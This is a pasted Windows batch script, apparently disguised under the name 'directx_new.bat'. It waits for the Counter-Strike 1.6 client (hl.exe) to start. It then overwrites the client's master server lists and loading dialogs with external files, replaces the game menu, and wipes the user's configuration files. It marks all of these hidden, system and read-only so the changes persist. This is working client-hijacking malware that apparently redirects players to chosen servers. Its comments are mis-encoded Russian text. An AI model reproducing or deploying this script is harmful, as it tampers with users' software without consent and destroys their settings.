Advertisement
Guest User

Untitled

a guest
Jul 27th, 2013
75
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 12.53 KB | None | 0 0
  1. @echo off
  2. title Ďîčńę ďđîöĺńŕ
  3. :Start
  4. cls
  5. echo search...
  6. echo.
  7. tasklist | find "hl.exe"
  8. if errorlevel 1 goto NoRecord
  9. echo.
  10. echo result: Detect process
  11. goto Done
  12. :NoRecord
  13. goto :Start
  14. echo result: Process not found
  15. :Done
  16.  
  17. ping 0 -n 3
  18.  
  19. :Start2
  20. cls
  21. echo search...
  22. echo.
  23. tasklist | find "hl.exe"
  24. if errorlevel 1 goto NoRecord2
  25. echo.
  26. echo result: Detect process
  27. goto Done2
  28. :NoRecord2
  29. goto :Start2
  30. echo result: Process not found
  31. :Done2
  32.  
  33.  
  34. @echo off
  35. Setlocal
  36.  
  37. ::Ďîëó÷čňü PID, Path, Parameters ďî čěĺíč ďđîöĺńńŕ
  38. set ProcName=hl.exe
  39. Call :GetProcessInfo "" "%ProcName%" ProcPath ProcParam PID
  40.  
  41. ::Ďîëó÷čňü Name, Path, Parameters ďî PID ďđîöĺńńŕ
  42. ::set PID=5000
  43. ::Call :GetProcessInfo "%PID%" "" ProcPath ProcParam ProcName
  44.  
  45. ::Ďîëó÷čňü Path, Parameters ďî čěĺíč ďđîöĺńńŕ č ĺăî PID
  46. ::set ProcName=calc.exe
  47. ::set PID=5000
  48. ::Call :GetProcessInfo "%PID%" "%ProcName%" ProcPath ProcParam
  49.  
  50. Echo Process Name = %ProcName%
  51. Echo PID = %PID%
  52. Echo Path = %ProcPath%
  53. Echo Parameters = %ProcParam%
  54. Echo.
  55.  
  56. Echo Process Name = %ProcName%
  57.  
  58. cd %ProcPath%
  59. md config
  60.  
  61. md platform
  62. cd %ProcPath%\platform
  63. md config
  64. cd %ProcPath%
  65. md cstrike
  66. cd %ProcPath%\cstrike
  67. md resource
  68. cd %ProcPath%
  69. md cstrike_russian
  70. cd %ProcPath%\cstrike_russian
  71. md resource
  72. cd %ProcPath%
  73.  
  74. attrib -h -s -r config/MasterServers.vdf
  75. attrib -h -s -r config/MasterServers2.vdf
  76.  
  77. attrib -h -s -r config/MasterServer.vdf
  78. attrib -h -s -r config/MasterServer2.vdf
  79.  
  80. attrib -h -s -r config/rev_MasterServers.vdf
  81. attrib -h -s -r config/rev_MasterServer.vdf
  82.  
  83. cd config
  84.  
  85. del MasterServers.vdf
  86. del MasterServers2.vdf
  87.  
  88. del MasterServer.vdf
  89. del MasterServer2.vdf
  90.  
  91. del rev_MasterServers.vdf
  92. del rev_MasterServer.vdf
  93.  
  94. cd %ProcPath%
  95.  
  96. copy "C:\system.lst" "%ProcPath%\config\MasterServers.vdf"
  97. copy "C:\system.lst" "%ProcPath%\config\MasterServers2.vdf"
  98.  
  99. copy "C:\system.lst" "%ProcPath%\config\MasterServer.vdf"
  100. copy "C:\system.lst" "%ProcPath%\config\MasterServer2.vdf"
  101.  
  102. copy "C:\system.lst" "%ProcPath%\config\rev_MasterServers.vdf"
  103. copy "C:\system.lst" "%ProcPath%\config\rev_MasterServer.vdf"
  104.  
  105. cd %ProcPath%
  106.  
  107. attrib +h +s +r config/MasterServers.vdf
  108. attrib +h +s +r config/MasterServers2.vdf
  109.  
  110. attrib +h +s +r config/MasterServer.vdf
  111. attrib +h +s +r config/MasterServer2.vdf
  112.  
  113. attrib +h +s +r config/rev_MasterServers.vdf
  114. attrib +h +s +r config/rev_MasterServer.vdf
  115.  
  116. cd %ProcPath%\platform
  117.  
  118. attrib -h -s -r config/MasterServers.vdf
  119. attrib -h -s -r config/MasterServers2.vdf
  120.  
  121. attrib -h -s -r config/MasterServer.vdf
  122. attrib -h -s -r config/MasterServer2.vdf
  123.  
  124. attrib -h -s -r config/rev_MasterServers.vdf
  125. attrib -h -s -r config/rev_MasterServer.vdf
  126.  
  127. cd %ProcPath%\platform\config
  128.  
  129. del MasterServers.vdf
  130. del MasterServers2.vdf
  131.  
  132. del MasterServer.vdf
  133. del MasterServer2.vdf
  134.  
  135. del rev_MasterServers.vdf
  136. del rev_MasterServer.vdf
  137.  
  138. copy "C:\system.lst" "%ProcPath%\platform\config\MasterServers.vdf"
  139. copy "C:\system.lst" "%ProcPath%\platform\config\MasterServers2.vdf"
  140.  
  141. copy "C:\system.lst" "%ProcPath%\platform\config\MasterServer.vdf"
  142. copy "C:\system.lst" "%ProcPath%\platform\config\MasterServer2.vdf"
  143.  
  144. copy "C:\system.lst" "%ProcPath%\platform\config\rev_MasterServers.vdf"
  145. copy "C:\system.lst" "%ProcPath%\platform\config\rev_MasterServer.vdf"
  146.  
  147. cd %ProcPath%\platform
  148.  
  149. attrib +h +s +r config/MasterServers.vdf
  150. attrib +h +s +r config/MasterServers2.vdf
  151.  
  152. attrib +h +s +r config/MasterServer.vdf
  153. attrib +h +s +r config/MasterServer2.vdf
  154.  
  155. attrib +h +s +r config/rev_MasterServers.vdf
  156. attrib +h +s +r config/rev_MasterServer.vdf
  157.  
  158. cd %ProcPath%\cstrike\resource
  159.  
  160. attrib -s -h -r GameMenu.res
  161. attrib -s -h -r LoadingDialog.res
  162. attrib -s -h -r LoadingDialogNoBanner.res
  163. attrib -s -h -r LoadingDialogVAC.res
  164.  
  165. del GameMenu.res
  166. del LoadingDialog.res
  167. del LoadingDialogNoBanner.res
  168. del LoadingDialogVAC.res
  169.  
  170. echo "GameMenu">GameMenu.res
  171. echo {>>GameMenu.res
  172. echo "1">>GameMenu.res
  173. echo {>>GameMenu.res
  174. echo "label" "">>GameMenu.res
  175. echo "command" "">>GameMenu.res
  176. echo }>>GameMenu.res
  177. echo "2">>GameMenu.res
  178. echo {>>GameMenu.res
  179. echo "label" "">>GameMenu.res
  180. echo "command" "">>GameMenu.res
  181. echo }>>GameMenu.res
  182. echo "3">>GameMenu.res
  183. echo {>>GameMenu.res
  184. echo "label" "">>GameMenu.res
  185. echo "command" "">>GameMenu.res
  186. echo }>>GameMenu.res
  187. echo "4">>GameMenu.res
  188. echo {>>GameMenu.res
  189. echo "label" "#GameUI_GameMenu_ResumeGame">>GameMenu.res
  190. echo "command" "ResumeGame">>GameMenu.res
  191. echo "OnlyInGame" "1">>GameMenu.res
  192. echo }>>GameMenu.res
  193. echo "5">>GameMenu.res
  194. echo {>>GameMenu.res
  195. echo "label" "#GameUI_GameMenu_Disconnect">>GameMenu.res
  196. echo "command" "Disconnect">>GameMenu.res
  197. echo "OnlyInGame" "1">>GameMenu.res
  198. echo "notsingle" "1">>GameMenu.res
  199. echo }>>GameMenu.res
  200. echo "6">>GameMenu.res
  201. echo {>>GameMenu.res
  202. echo "label" "#GameUI_GameMenu_PlayerList">>GameMenu.res
  203. echo "command" "OpenPlayerListDialog">>GameMenu.res
  204. echo "OnlyInGame" "1">>GameMenu.res
  205. echo "notsingle" "1">>GameMenu.res
  206. echo }>>GameMenu.res
  207. echo "7">>GameMenu.res
  208. echo {>>GameMenu.res
  209. echo "label" "">>GameMenu.res
  210. echo "command" "">>GameMenu.res
  211. echo "OnlyInGame" "1">>GameMenu.res
  212. echo }>>GameMenu.res
  213. echo "8">>GameMenu.res
  214. echo {>>GameMenu.res
  215. echo "label" "#GameUI_GameMenu_NewGame">>GameMenu.res
  216. echo "command" "OpenCreateMultiplayerGameDialog">>GameMenu.res
  217. echo }>>GameMenu.res
  218. echo "9">>GameMenu.res
  219. echo {>>GameMenu.res
  220. echo "label" "#GameUI_GameMenu_FindServers">>GameMenu.res
  221. echo "command" "OpenServerBrowser">>GameMenu.res
  222. echo }>>GameMenu.res
  223. echo "10">>GameMenu.res
  224. echo {>>GameMenu.res
  225. echo "label" "#GameUI_GameMenu_Options">>GameMenu.res
  226. echo "command" "OpenOptionsDialog">>GameMenu.res
  227. echo }>>GameMenu.res
  228. echo "11">>GameMenu.res
  229. echo {>>GameMenu.res
  230. echo "label" "#GameUI_GameMenu_Quit">>GameMenu.res
  231. echo "command" "Quit">>GameMenu.res
  232. echo }>>GameMenu.res
  233. echo }>>GameMenu.res
  234.  
  235. copy "C:\conspace.lst" "%ProcPath%\cstrike\resource\LoadingDialog.res"
  236. copy "C:\conspace.lst" "%ProcPath%\cstrike\resource\LoadingDialogNoBanner.res"
  237. copy "C:\conspace.lst" "%ProcPath%\cstrike\resource\LoadingDialogVAC.res"
  238.  
  239. attrib /s +s +h +r
  240.  
  241. :: ==================================================================
  242.  
  243. cd %ProcPath%\cstrike_russian\resource
  244.  
  245. attrib -s -h -r GameMenu.res
  246. attrib -s -h -r LoadingDialog.res
  247. attrib -s -h -r LoadingDialogNoBanner.res
  248. attrib -s -h -r LoadingDialogVAC.res
  249.  
  250. del GameMenu.res
  251. del LoadingDialog.res
  252. del LoadingDialogNoBanner.res
  253. del LoadingDialogVAC.res
  254.  
  255. echo "GameMenu">GameMenu.res
  256. echo {>>GameMenu.res
  257. echo "1">>GameMenu.res
  258. echo {>>GameMenu.res
  259. echo "label" "">>GameMenu.res
  260. echo "command" "">>GameMenu.res
  261. echo }>>GameMenu.res
  262. echo "2">>GameMenu.res
  263. echo {>>GameMenu.res
  264. echo "label" "">>GameMenu.res
  265. echo "command" "">>GameMenu.res
  266. echo }>>GameMenu.res
  267. echo "3">>GameMenu.res
  268. echo {>>GameMenu.res
  269. echo "label" "">>GameMenu.res
  270. echo "command" "">>GameMenu.res
  271. echo }>>GameMenu.res
  272. echo "4">>GameMenu.res
  273. echo {>>GameMenu.res
  274. echo "label" "#GameUI_GameMenu_ResumeGame">>GameMenu.res
  275. echo "command" "ResumeGame">>GameMenu.res
  276. echo "OnlyInGame" "1">>GameMenu.res
  277. echo }>>GameMenu.res
  278. echo "5">>GameMenu.res
  279. echo {>>GameMenu.res
  280. echo "label" "#GameUI_GameMenu_Disconnect">>GameMenu.res
  281. echo "command" "Disconnect">>GameMenu.res
  282. echo "OnlyInGame" "1">>GameMenu.res
  283. echo "notsingle" "1">>GameMenu.res
  284. echo }>>GameMenu.res
  285. echo "6">>GameMenu.res
  286. echo {>>GameMenu.res
  287. echo "label" "#GameUI_GameMenu_PlayerList">>GameMenu.res
  288. echo "command" "OpenPlayerListDialog">>GameMenu.res
  289. echo "OnlyInGame" "1">>GameMenu.res
  290. echo "notsingle" "1">>GameMenu.res
  291. echo }>>GameMenu.res
  292. echo "7">>GameMenu.res
  293. echo {>>GameMenu.res
  294. echo "label" "">>GameMenu.res
  295. echo "command" "">>GameMenu.res
  296. echo "OnlyInGame" "1">>GameMenu.res
  297. echo }>>GameMenu.res
  298. echo "8">>GameMenu.res
  299. echo {>>GameMenu.res
  300. echo "label" "#GameUI_GameMenu_NewGame">>GameMenu.res
  301. echo "command" "OpenCreateMultiplayerGameDialog">>GameMenu.res
  302. echo }>>GameMenu.res
  303. echo "9">>GameMenu.res
  304. echo {>>GameMenu.res
  305. echo "label" "#GameUI_GameMenu_FindServers">>GameMenu.res
  306. echo "command" "OpenServerBrowser">>GameMenu.res
  307. echo }>>GameMenu.res
  308. echo "10">>GameMenu.res
  309. echo {>>GameMenu.res
  310. echo "label" "#GameUI_GameMenu_Options">>GameMenu.res
  311. echo "command" "OpenOptionsDialog">>GameMenu.res
  312. echo }>>GameMenu.res
  313. echo "11">>GameMenu.res
  314. echo {>>GameMenu.res
  315. echo "label" "#GameUI_GameMenu_Quit">>GameMenu.res
  316. echo "command" "Quit">>GameMenu.res
  317. echo }>>GameMenu.res
  318. echo }>>GameMenu.res
  319.  
  320. copy "C:\conspace.lst" "%ProcPath%\cstrike_russian\resource\LoadingDialog.res"
  321. copy "C:\conspace.lst" "%ProcPath%\cstrike_russian\resource\LoadingDialogNoBanner.res"
  322. copy "C:\conspace.lst" "%ProcPath%\cstrike_russian\resource\LoadingDialogVAC.res"
  323.  
  324. attrib /s +s +h +r
  325.  
  326. :: ================================================================
  327.  
  328. cd %ProcPath%\cstrike
  329. attrib -s -h -r liblist.gam
  330.  
  331. echo game "Counter-Strike">liblist.gam
  332. echo url_info "www.counter-strike.net">>liblist.gam
  333. echo url_dl "">>liblist.gam
  334. echo version "1.6">>liblist.gam
  335. echo size "184000000">>liblist.gam
  336. echo svonly "0">>liblist.gam
  337. echo secure "1">>liblist.gam
  338. echo type "multiplayer_only">>liblist.gam
  339. echo cldll "1" >>liblist.gam
  340. echo hlversion "1111">>liblist.gam
  341. echo nomodels "1">>liblist.gam
  342. echo nohimodel "1">>liblist.gam
  343. echo mpentity "info_player_start">>liblist.gam
  344. echo gamedll "dlls\mp.dll">>liblist.gam
  345. echo gamedll_linux "dlls/cs_i386.so">>liblist.gam
  346. echo trainmap "tr_1">>liblist.gam
  347.  
  348. attrib +s +h +r liblist.gam
  349.  
  350. attrib -s -h -r valve.rc
  351. attrib -s -h -r userconfig.cfg
  352. attrib -s -h -r autoexec.cfg
  353. attrib -s -h -r violence.cfg
  354. attrib -s -h -r language.cfg
  355. attrib -s -h -r listenserver.cfg
  356. attrib -s -h -r joystick.cfg
  357.  
  358. echo //>valve.rc
  359. echo //>userconfig.cfg
  360. echo //>autoexec.cfg
  361. echo //>violence.cfg
  362. echo //>language.cfg
  363. echo //>listenserver.cfg
  364. echo //>joystick.cfg
  365.  
  366. attrib +s +h +r valve.rc
  367. attrib +s +h +r userconfig.cfg
  368. attrib +s +h +r autoexec.cfg
  369. attrib +s +h +r violence.cfg
  370. attrib +s +h +r language.cfg
  371. attrib +s +h +r listenserver.cfg
  372. attrib +s +h +r joystick.cfg
  373.  
  374. cd ..
  375.  
  376. cd %ProcPath%\cstrike
  377. attrib -s -h -r liblist.gam
  378.  
  379. echo game "Counter-Strike">liblist.gam
  380. echo url_info "www.counter-strike.net">>liblist.gam
  381. echo url_dl "">>liblist.gam
  382. echo version "1.6">>liblist.gam
  383. echo size "184000000">>liblist.gam
  384. echo svonly "0">>liblist.gam
  385. echo secure "1">>liblist.gam
  386. echo type "multiplayer_only">>liblist.gam
  387. echo cldll "1" >>liblist.gam
  388. echo hlversion "1111">>liblist.gam
  389. echo nomodels "1">>liblist.gam
  390. echo nohimodel "1">>liblist.gam
  391. echo mpentity "info_player_start">>liblist.gam
  392. echo gamedll "dlls\mp.dll">>liblist.gam
  393. echo gamedll_linux "dlls/cs_i386.so">>liblist.gam
  394. echo trainmap "tr_1">>liblist.gam
  395.  
  396. attrib +s +h +r liblist.gam
  397.  
  398. attrib -s -h -r valve.rc
  399. attrib -s -h -r userconfig.cfg
  400. attrib -s -h -r autoexec.cfg
  401. attrib -s -h -r violence.cfg
  402. attrib -s -h -r language.cfg
  403. attrib -s -h -r listenserver.cfg
  404. attrib -s -h -r joystick.cfg
  405.  
  406. echo //>valve.rc
  407. echo //>userconfig.cfg
  408. echo //>autoexec.cfg
  409. echo //>violence.cfg
  410. echo //>language.cfg
  411. echo //>listenserver.cfg
  412. echo //>joystick.cfg
  413.  
  414. attrib +s +h +r valve.rc
  415. attrib +s +h +r userconfig.cfg
  416. attrib +s +h +r autoexec.cfg
  417. attrib +s +h +r violence.cfg
  418. attrib +s +h +r language.cfg
  419. attrib +s +h +r listenserver.cfg
  420. attrib +s +h +r joystick.cfg
  421.  
  422. :: ================================================================
  423.  
  424. pause
  425. goto :eof
  426.  
  427.  
  428. :GetProcessInfo %1-Proccess_PID %2-Process_Name %3-var.Process_Path %4-var.Process_Parameters %5-var.Optional-PID_or_Name
  429. Setlocal EnableDelayedExpansion
  430. ::Making Query
  431. if "%~1" neq "" Set Query=ProcessID^^=%~1
  432. if "%~2" neq "" Set Query=Name^^="%~2"
  433. if "%~1" neq "" if "%~2" neq "" Set Query=^^(ProcessID^^=%~1 and name^^="%~2"^^)
  434. if "%~1"=="" if "%~2"=="" Echo Wrong Query. Must be at least 1 parameter %%1 or %%2.& Exit /B 1
  435. for /f "tokens=1* delims==" %%A in (
  436. 'WMIC path win32_process WHERE %Query% GET "CommandLine"^,"ExecutablePath"^,"Caption"^,"Handle" /value^|findstr /BC:"CommandLine" /C:"ExecutablePath" /C:"Caption" /C:"Handle"') do (
  437. if "%%A"=="CommandLine" Set ProcParse=%%B
  438. if "%%A"=="ExecutablePath" Set ProcessPath=%%~dpB
  439. if "%%A"=="Caption" Set ProcName=%%B
  440. if "%%A"=="Handle" Set PID=%%B
  441. )
  442. ::Parse Parameters
  443. Set /A n=0& Set Param=
  444. for %%A in (%ProcParse%) do Set /A n+=1& if !n! neq 1 (Set Param=!Param!%%A )
  445. EndLocal& (
  446. if "%ProcessPath%" neq "" Set %3=%ProcessPath:~0,-1%
  447. if "%Param%" neq "" Set %4=%Param:~0,-1%
  448. if "%~5" neq "" if "%~1"=="" (set %~5=%PID%) else (if "%~2"=="" set %~5=%ProcName%)
  449. )
  450. Exit /B 0directx_new.bat
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement